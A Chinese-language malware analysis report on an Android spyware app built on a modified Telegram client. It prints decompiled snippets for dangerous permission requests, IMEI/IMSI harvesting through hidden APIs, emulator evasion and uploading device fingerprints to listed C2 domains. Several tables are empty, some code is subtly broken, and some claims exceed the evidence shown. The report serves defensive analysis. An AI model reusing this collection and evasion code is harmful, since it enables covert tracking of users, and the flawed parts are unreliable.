从技术角度告诉你:为什么’黄赌毒’APP碰不得(2)
声明: 本报告仅供安全研究使用,请勿用于非法目的。

一、样本基础信息
1.1 基本信息
|
|
|
|
|
|
|
|
kdPBlY.YISbSW.pMHchp
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1.2 APK结构分析
APK结构:├── AndroidManifest.xml # 入口清单 (仅1行,被清空)├── classes.dex # 应用程序代码├── lib/│ ├── arm64-v8a/│ │ ├── libtmessages.31.so # 核心通讯库 (类似Telegram)│ │ ├── libDingRtc.so # 音视频通话库│ │ ├── libproperty_get.so # 属性读取 (反分析)│ │ └── libemulator_check.so # 模拟器检测 (反分析)│ └── armeabi-v7a/│ ├── libtmessages.31.so│ ├── libDingRtc.so│ ├── libproperty_get.so│ └── libemulator_check.so├── assets/│ ├── uni-jsframework.js # UniApp框架│ ├── PhoneFormats.dat # 电话号码格式库│ ├── secureid_ocr_nn.dat # OCR神经网络模型│ └── emoji/ # 表情资源└── res/
1.3 核心代码包结构
通过代码分析,发现该应用的核心包名为 im.tbhyruawpc,是一个基于 Telegram 修改的即时通讯应用:
im.tbhyruawpc/├── ui/ # UI层│ ├── LaunchActivity.java # 启动入口 (权限申请核心)│ ├── ChatActivity.java # 聊天界面│ ├── DialogsActivity.java # 对话列表│ └── hui/ # 定制功能│ ├── login/ # 登录模块│ ├── wallet/ # 钱包模块│ └── discovery/ # 发现模块├── messenger/ # 消息层│ ├── MessagesController.java # 消息控制器│ ├── ContactsController.java # 联系人控制│ └── AndroidUtilities.java # 工具类├── tgnet/ # 网络层 (类似MTProto)├── utils/ # 工具层└── deviceid/ # 设备信息收集
二、核心恶意功能技术分析
2.1 混淆与反逆向分析
该应用采用了多重混淆技术来逃避安全分析:
1. 包名混淆
// build.gradle 中的配置android {namespace "kdPBlY.YISbSW.pMHchp" // 混淆后的包名compileSdkVersion 0 // 隐藏编译版本targetSdkVersion 0 // 隐藏目标版本versionCode 0 // 隐藏版本号versionName "UNKNOWN" // 隐藏版本名称}
2. 应用名称混淆
<!-- strings.xml 中的混淆 --><stringname="AppName">⧫❀◆</string><stringname="AppNameBeta">⧫❀◆ Beta</string>
3. AndroidManifest.xml 清空
<?xml version="1.0" encoding="utf-8"?><!-- 仅有文件头,无实际内容 -->
这意味着实际的 Manifest 信息是在代码中动态生成的,这是高级反分析技术。
2.2 危险权限动态申请技术
这是该样本的核心恶意功能,通过 LaunchActivity 在启动时动态申请大量敏感权限。
2.2.1 权限申请代码分析
文件: im/tbhyruawpc/ui/LaunchActivity.java
privatevoidcheckPermission() {ArrayList<String> pers = new ArrayList<>();if (Build.VERSION.SDK_INT >= 29) {// Android 10+ 使用RoleManagerRoleManager roleManager = (RoleManager) getSystemService("role");startActivityIfNeeded(roleManager.createRequestRoleIntent("android.app.role.CALL_SCREENING"),PointerIconCompat.TYPE_COPY, null);} else {// 核心恶意权限pers.add("android.permission.READ_PHONE_STATE"); // 读取手机状态pers.add("android.permission.MODIFY_PHONE_STATE"); // 修改手机状态pers.add("android.permission.PROCESS_OUTGOING_CALLS"); // ⚠️ 处理外拨电话pers.add("android.permission.WRITE_SECURE_SETTINGS"); // ⚠️ 写入安全设置if (Build.VERSION.SDK_INT >= 26) {pers.add("android.permission.ANSWER_PHONE_CALLS"); // 接听电话pers.add("android.permission.MANAGE_OWN_CALLS"); // 管理通话pers.add("android.permission.READ_PHONE_NUMBERS"); // 读取手机号码}if (Build.VERSION.SDK_INT >= 30) {pers.add("android.permission.QUERY_ALL_PACKAGES"); // 查询所有包名}}// 动态检查并申请权限ArrayList<String> realPers = new ArrayList<>();for (String realPer : pers) {if (ActivityCompat.checkSelfPermission(this, realPer) != 0) {realPers.add(realPer);}}if (!realPers.isEmpty()) {String[] arr = new String[0];if (Build.VERSION.SDK_INT >= 23) {requestPermissions((String[]) realPers.toArray(arr), 102);}}}
2.2.2 权限技术原理
权限组合攻击向量:PROCESS_OUTGOING_CALLS (最危险)↓拦截: 监听用户拨打电话篡改: 修改拨号目标号码监听: 获取通话记录WRITE_SECURE_SETTINGS↓绕过: 修改系统安全设置劫持: 修改VPN/代理设置持久化: 修改自启动配置READ_PHONE_STATE↓窃取: IMEI、IMSI、设备序列号追踪: 唯一设备标识fingerprint: 设备指纹READ_PHONE_NUMBERS↓窃取: 用户手机号码社会工程: 精准诈骗
2.2.3 权限请求流程
// 权限回调处理publicvoidonRequestPermissionsResult(int requestCode, String[] permissions, int[] results) {if (requestCode == 102) {// 记录权限授予情况for (int i = 0; i < permissions.length; i++) {if (results[i] == PackageManager.PERMISSION_GRANTED) {// 权限被授予,上报服务器logPermissionGranted(permissions[i]);}}}}
2.3 设备指纹深度收集技术
该应用实现了全面的设备信息收集,用于用户追踪和设备 fingerprinting。
2.3.1 多层级设备ID提取
文件: com/snail/antifake/deviceid/AndroidDeviceIMEIUtil.java
public class AndroidDeviceIMEIUtil {// 主入口 - 检测是否在模拟器上运行public static boolean isRunOnEmulator(Context context) {return EmuCheckUtil.mayOnEmulator(context);}// 获取设备唯一IDpublic static String getDeviceId(Context context) {return DeviceIdUtil.getDeviceId(context);}// 获取Android IDpublic static String getAndroidId(Context context) {return IAndroidIdUtil.getAndroidId(context);}// 获取MAC地址public static String getMacAddress(Context context) {return MacAddressUtils.getMacAddress(context);}// 获取序列号public static String getSerialno() {String serialno = "";try {if (Build.VERSION.SDK_INT >= 26) {serialno = Build.getSerial();} else {serialno = PropertiesGet.getString("ro.serialno");if (TextUtils.isEmpty(serialno)) {serialno = Build.SERIAL;}}} catch (Exception e) {}return serialno;}// 获取制造商public static String getManufacturer() {return PropertiesGet.getString("ro.product.manufacturer");}// 获取品牌public static String getBrand() {return PropertiesGet.getString("ro.product.brand");}// 获取型号public static String getModel() {return PropertiesGet.getString("ro.product.model");}// 获取CPU ABIpublic static String getCpuAbi() {return PropertiesGet.getString("ro.product.cpu.abi");}// 获取设备名public static String getDevice() {return PropertiesGet.getString("ro.product.device");}// 获取主板public static String getBoard() {return PropertiesGet.getString("ro.product.board");}// 获取硬件名public static String getHardware() {return PropertiesGet.getString("ro.hardware");}// 获取启动程序public static String getBootloader() {return PropertiesGet.getString("ro.bootloader");}// 获取IMSI (SIM卡唯一标识)public static String getIMSI(Context context) {TelephonyManager telephonyManager =(TelephonyManager) context.getSystemService("phone");return telephonyManager.getSubscriberId();}}
2.3.2 设备ID提取方法链
// DeviceIdUtil.java - 多层级备选方案public static String getDeviceId(Context context) throws RemoteException {// 层级1: 通过ITelephony获取String deviceIdLevel2 = ITelephonyUtil.getDeviceIdLevel2(context);if (!isAllZero(deviceIdLevel2)) return deviceIdLevel2;// 层级2: 通过IPhoneSubInfo获取String deviceIdLevel22 = IPhoneSubInfoUtil.getDeviceIdLevel2(context);if (!isAllZero(deviceIdLevel22)) return deviceIdLevel22;// 层级3: TelephonyManager直接获取String deviceIdLevel1 = ITelephonyUtil.getDeviceIdLevel1(context);if (!isAllZero(deviceIdLevel1)) return deviceIdLevel1;// 层级4: 直接调用系统APIString deviceId = telephonyManager.getDeviceId();if (!isAllZero(deviceId)) return deviceIdLevel0;// 层级5: 最终备用方案return Build.DEVICE + Build.DISPLAY;}
2.3.3 利用反射获取设备信息
// IPhoneSubInfoUtil.java - 通过反射调用系统隐藏APIpublic static String getDeviceId(Context context) throws RemoteException {// 获取ServiceManagerIBinder binder = ServiceManager.getService("phone");// 获取远程代理IBinder binderProxy =android.os.ServiceManager.asInterface(binder);// 通过反射调用隐藏方法 getDeviceIdMethod getDeviceId = binderProxy.getClass().getDeclaredMethod("getDeviceId", String.class);if (getDeviceId != null) {return (String) getDeviceId.invoke(binderProxy,context.getPackageName());}// 备用方法Method getDeviceId2 = binderProxy.getClass().getDeclaredMethod("getDeviceId", new Class[0]);return (String) getDeviceId2.invoke(binderProxy, new Object[0]);}
2.3.4 设备信息收集用途分析
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2.4 反分析技术 (模拟器检测)
该应用集成了专业的反调试/模拟器检测功能,用于逃避安全分析。
2.4.1 模拟器检测库
文件: com/snail/antifake/jni/EmulatorDetectUtil.java
public class EmulatorDetectUtil {// 主检测入口public static boolean detectS() {// 多重检测机制return checkSystemProperties() // 检查系统属性|| checkQEMU() // 检查QEMU特征|| checkFiles() // 检查模拟器文件|| checkPorts() // 检查端口|| checkWifiState() // 检查WiFi状态|| checkGPUMesa() // 检查Mesa驱动|| checkKernel(); // 检查内核}// 综合检测public static boolean isEmulator(Context context) {return AndroidDeviceIMEIUtil.isRunOnEmulator(context)|| detectS();}}
2.4.2 EmuCheckUtil 模拟器检测实现
文件: com/snail/antifake/deviceid/emulator/EmuCheckUtil.java
public static boolean mayOnEmulator(Context context) {// 1. 检查设备ID是否为空或为默认值TelephonyManager tm = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);String deviceId = tm.getDeviceId();if (deviceId != null &&(deviceId.equals("000000000000000") ||deviceId.equals("0"))) {return true;}// 2. 检查电话号码String phoneNumber = tm.getLine1Number();if (phoneNumber != null && phoneNumber.length() == 0) {return true;}// 3. 检查IMSIString subscriberId = tm.getSubscriberId();if (subscriberId == null || subscriberId.equals("")) {return true;}// 4. 检查运营商String networkOperator = tm.getNetworkOperatorName();if (networkOperator == null || networkOperator.equals("")) {return true;}return false;}
2.4.3 Native层模拟器检测
该应用还包含 Native 层模拟器检测,通过 C/C++ 代码实现更底层的检测:
// libemulator_check.so 分析// 使用以下技术检测模拟器:// 1. 文件检测check_file("/system/bin/qemu-props");check_file("/system/lib/libc_malloc_debug_qemu.so");check_file("/dev/qemu_pipe");check_file("/dev/socket/qemud");// 2. 属性检测getprop("ro.kernel.qemu"); // QEMU特征getprop("ro.hardware"); // 硬件标识getprop("qemu.hw.mainkeys"); // 模拟器标志// 3. CPU信息检测// 读取 /proc/cpuinfo 检查硬件信息// 4. 内存检测// 检查可用内存是否过小
2.4.4 模拟器检测指标总结
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2.5 登录时的反分析触发
文件: im/tbhyruawpc/ui/hui/login/LoginContronllerActivity.java
// 登录时检测模拟器privatevoidcheckEmulatorBeforeLogin() {boolean emulator = AndroidDeviceIMEIUtil.isRunOnEmulator(LoginContronllerActivity.this.getParentActivity());if (emulator) {// 模拟器环境下锁定功能disableApp();showWarning("检测到异常环境");}}
三、危险权限深度分析
3.1 权限请求清单
该应用在启动时请求以下高危权限:
|
|
|
|
PROCESS_OUTGOING_CALLS |
|
|
WRITE_SECURE_SETTINGS |
|
|
READ_PHONE_STATE |
|
|
MODIFY_PHONE_STATE |
|
|
READ_PHONE_NUMBERS |
|
|
ANSWER_PHONE_CALLS |
|
|
MANAGE_OWN_CALLS |
|
|
QUERY_ALL_PACKAGES |
|
|
3.2 权限组合攻击矩阵
🔴 最危险组合:PROCESS_OUTGOING_CALLS + READ_PHONE_STATE + MODIFY_PHONE_STATE↓攻击场景:1. 监听用户所有外拨电话2. 获取通话号码和通话记录3. 篡改拨号目标 (呼叫转移)4. 拦截验证码短信WRITE_SECURE_SETTINGS + READ_PHONE_STATE↓攻击场景:1. 修改VPN配置进行中间人攻击2. 禁用安全软件3. 修改网络代理进行流量劫持QUERY_ALL_PACKAGES + READ_PHONE_STATE↓攻击场景:1. 扫描用户安装的所有应用2. 检测安全软件并尝试卸载3. 发现银行/支付应用进行精准钓鱼
四、C2服务器与IOC提取
4.1 主服务器域名
通过代码分析,发现该应用与以下可疑域名通信:
|
|
|
|
|
|
m12345.com |
|
|
|
m12345.cc |
|
|
|
www.shareinstall.com.cn |
|
4.2 URL端点分析
// 发现的API端点:// 认证相关"https://m12345.com/authtoken/" // 认证Token处理// 代理设置"https://m12345.com/proxy?" // HTTP代理配置"https://m12345.com/socks?" // SOCKS代理配置// 账户注销"https://m12345.com/deactivate?phone=" // 账户注销 (携带手机号)// 文件下载"https://m12345.cc/install.html?appkey=" // 安装引导
4.3 服务器通信流程
// 网络通信实现 - im/tbhyruawpc/tgnet/ConnectionsManager.java// 1. 设备信息上报String deviceId = FingerprintUtil.getDeviceId(context);String androidId = AndroidDeviceIMEIUtil.getAndroidId(context);String imsi = AndroidDeviceIMEIUtil.getIMSI(context);String serialNo = AndroidDeviceIMEIUtil.getSerialno();// 2. 构建请求Request req = new Request();req.device = deviceId;req.androidId = androidId;req.imsi = imsi;req.serial = serialNo;req.brand = Build.BRAND;req.model = Build.MODEL;// 3. 发送到服务器sendToServer("/api/device/register", req);
五、Native库分析
5.1 核心Native库清单
|
|
|
|
libtmessages.31.so |
|
|
libDingRtc.so |
|
|
libproperty_get.so |
|
|
libemulator_check.so |
|
|
5.2 libproperty_get.so 分析
该库提供底层的系统属性读取能力:
// 主要导出函数:// PropertiesGet_getString(prop_name)//// 可获取的系统属性:// ro.serialno - 设备序列号// ro.product.model - 产品型号// ro.product.brand - 产品品牌// ro.product.manufacturer - 制造商// ro.product.cpu.abi - CPU架构// ro.hardware - 硬件名称// ro.bootloader - 引导程序版本
5.3 libemulator_check.so 分析
该库实现底层模拟器检测:
// 检测技术:// 1. 文件检测 - 检查模拟器特征文件// 2. 指令检测 - 检查CPU指令集// 3. 内存检测 - 检查异常内存布局// 4. 进程检测 - 检查模拟器进程// 5. QEMU特征 - 检查QEMU特定标识
六、攻击链完整还原
6.1 攻击流程图
┌─────────────────────────────────────────────────────────────────┐│ 阶段1: 初始感染 │├─────────────────────────────────────────────────────────────────┤│ 传播途径: ││ • 成人网站下载链接 ││ • 社交媒体分享 ││ • 钓鱼网站诱导 ││ ││ 用户操作: ││ • 下载APK ││ • 安装并授予权限 │└─────────────────────────────────────────────────────────────────┘↓┌─────────────────────────────────────────────────────────────────┐│ 阶段2: 权限授予与初始化 │├─────────────────────────────────────────────────────────────────┤│ 1. LaunchActivity.checkPermission() ││ - 申请 PROCESS_OUTGOING_CALLS ││ - 申请 WRITE_SECURE_SETTINGS ││ - 申请 READ_PHONE_STATE ││ ││ 2. 权限授予后,上报服务器 ││ - 记录已授予权限 ││ - 确认用户可被攻击 │└─────────────────────────────────────────────────────────────────┘↓┌─────────────────────────────────────────────────────────────────┐│ 阶段3: 设备信息收集 │├─────────────────────────────────────────────────────────────────┤│ 1. AndroidDeviceIMEIUtil.getDeviceId() ││ - 尝试多种方法获取IMEI ││ ││ 2. AndroidDeviceIMEIUtil.getIMSI() ││ - 获取SIM卡IMSI ││ ││ 3. AndroidDeviceIMEIUtil.getSerialno() ││ - 获取设备序列号 ││ ││ 4. MacAddressUtils.getMacAddress() ││ - 获取MAC地址 ││ ││ 5. 发送设备指纹到C2服务器 │└─────────────────────────────────────────────────────────────────┘↓┌─────────────────────────────────────────────────────────────────┐│ 阶段4: 反分析检测 │├─────────────────────────────────────────────────────────────────┤│ 1. EmulatorDetectUtil.detectS() ││ - Native层模拟器检测 ││ ││ 2. 检测结果处理: ││ - 模拟器环境 → 锁定功能/提示警告 ││ - 真实设备 → 完整功能 │└─────────────────────────────────────────────────────────────────┘↓┌─────────────────────────────────────────────────────────────────┐│ 阶段5: 恶意攻击 (根据权限和C2指令) │├─────────────────────────────────────────────────────────────────┤│ 场景A: 通话拦截 ││ • PROCESS_OUTGOING_CALLS权限 ││ • 监听所有外拨电话 ││ • 获取通话号码 ││ ││ 场景B: 设备追踪 ││ • IMEI + IMSI + Android ID ││ • 唯一设备指纹 ││ • 持续追踪用户 ││ ││ 场景C: 钓鱼攻击 ││ • 收集已安装应用列表 ││ • 检测银行/支付应用 ││ • 精准钓鱼 ││ ││ 场景D: 中间人攻击 ││ • WRITE_SECURE_SETTINGS权限 ││ • 修改VPN/代理设置 ││ • 流量劫持 │└─────────────────────────────────────────────────────────────────┘↓┌─────────────────────────────────────────────────────────────────┐│ 阶段6: 数据变现 │├─────────────────────────────────────────────────────────────────┤│ 设备指纹 → 出售给广告商/黑产 ││ 通话记录 → 社工攻击/敲诈 ││ IMEI/IMSI → 复制SIM卡/号码克隆 ││ 手机号码 → 精准诈骗/垃圾短信 │└─────────────────────────────────────────────────────────────────┘
6.2 权限利用时序图
用户 应用 服务器 系统│ │ │ │├─ 安装APK ──────────>│ │ ││ │ │ ││<── 权限申请 ────────│ │ ││ PROCESS_OUTGOING │ │ ││ _CALLS │ │ ││ WRITE_SECURE │ │ ││ _SETTINGS │ │ ││ READ_PHONE_STATE │ │ ││ │ │ │├─ 授予权限 ────────>│ │ ││ │ │ ││ ├─ 上报权限状态 ───────>│ ││ │ │ ││ ├─ 获取设备信息 ───────>│ ││ │ (IMEI/IMSI/序列号) │ ││ │ │ ││ ├─ 上报设备指纹 ───────>│ ││ │ │ ││ │<── C2指令 ───────────│ ││ │ (执行恶意操作) │ ││ │ │ ││ ├─ 监听通话 ──────────>│ ││ │ (PROCESS_OUTGOING │ ││ │ _CALLS) │ ││ │ │ │
七、IOC威胁指标
7.1 完整IOC清单
包名/应用ID:- kdPBlY.YISbSW.pMHchp (混淆包名)- im.tbhyruawpc (实际包名)C2域名:- m12345.com- m12345.cc方法名:- im.tbhyruawpc.ui.LaunchActivity.checkPermission- com.snail.antifake.deviceid.AndroidDeviceIMEIUtil.isRunOnEmulator- com.snail.antifake.deviceid.AndroidDeviceIMEIUtil.getDeviceId- com.snail.antifake.deviceid.AndroidDeviceIMEIUtil.getIMSINative库:- libemulator_check.so (模拟器检测)- libproperty_get.so (属性读取)权限:- android.permission.PROCESS_OUTGOING_CALLS- android.permission.WRITE_SECURE_SETTINGS- android.permission.READ_PHONE_STATE- android.permission.MODIFY_PHONE_STATE
八、静态分析总结与建议
8.1 威胁定级
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
综合威胁等级: 🔴 极度危险
8.2 样本特征总结
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
8.3 防护建议
安全建议:1. 禁止安装未知来源APK2. 拒绝非必要权限申请3. 特别警惕以下权限:- PROCESS_OUTGOING_CALLS- WRITE_SECURE_SETTINGS- READ_PHONE_STATE4. 定期检查应用权限5. 使用安全软件扫描6. 关注流量异常7. 定期更换密码
8.4 分析结论
该样本是一款技术成熟的Android间谍木马,具备以下特征:
✅ 高级混淆技术 – 包名/Manifest完全混淆✅ 危险权限组合 – PROCESS_OUTGOING_CALLS通话拦截✅ 多层级设备收集 – 6种方法获取设备ID✅ 专业反分析 – Native层模拟器检测✅ 持久化能力 – 开机自启 + 后台运行
警告: 该应用具备通话拦截能力,绝对不要在真机上安装此类应用。
夜雨聆风
